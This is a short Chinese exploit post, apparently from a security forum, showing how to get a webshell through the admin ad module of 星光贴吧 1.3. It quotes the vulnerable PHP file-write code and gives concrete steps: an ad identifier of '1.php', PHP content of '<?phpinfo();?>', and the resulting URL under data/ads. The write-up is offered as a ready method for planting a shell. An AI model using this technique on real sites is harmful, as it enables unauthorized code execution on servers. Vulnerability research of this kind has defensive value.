星光贴吧 1.3 后台拿SHEL

by:风之传说

今天分析了两个程序,都发了吧。。

好吧,我承认有点鸡肋。。

我们先来看看这个文件

Common/common.function.php:

function write_file($l1, $l2=''){  //写文件
        $dir = dirname($l1);
        if(!is_dir($dir)){
                mkdirss($dir);
        }
        return @file_put_contents($l1, $l2);
}
function read_file($l1){
        return @file_get_contents($l1);
}
// 数组保存到文件
function arr2file($filename, $arr=''){
        if(is_array($arr)){
                $con = var_export($arr,true);
        } else{
                $con = $arr;
        }
        $con = "<?php\nreturn $con;\n?>";//\n!defined('IN_MP') && die();\nreturn $con;\n
        write_file($filename, $con);
}

上面是定义的函数,我们主要看write_file这个函数,OK我们再来看看后台的一个文件

admin\module\extendMod.class.php:

 $array=$_POST;        //POST提交的数组赋值给$array
           if(!empty($array['ads_name_sub'])){
                    if($this->model->table('ads')->where('        adsname="'.trim($_POST['ads_name_sub']).'"')->find()){
                                $this->error('该广告标识已经存在,请重新填写一个广告标识!');
                        }
                        $data['adsname'] = trim($array['ads_name_sub']);    //文件名
                        $data['adscontent'] = stripslashes(trim($array['ads_content_sub']));  //内容
                        $this->model->table('ads')->data($data)->insert($data);
                        write_file(ROOT_PATH.'/data/ads/'.$data['adsname'].'.js',t2js($data['adscontent']));   //写SHELL

进入后台,然后浏览http://localhost/admin/index.php/extend/ads.html

然后广告识别码填:1.php

广告内容填:<?phpinfo();?>

然后访问 http://127.0.0.1/data/ads/1.php.js  就可以看到我们可爱的马了。

当然1.php.js这样的解析得看环境了。所以说鸡肋,但是也是拿SHELL的一种方法。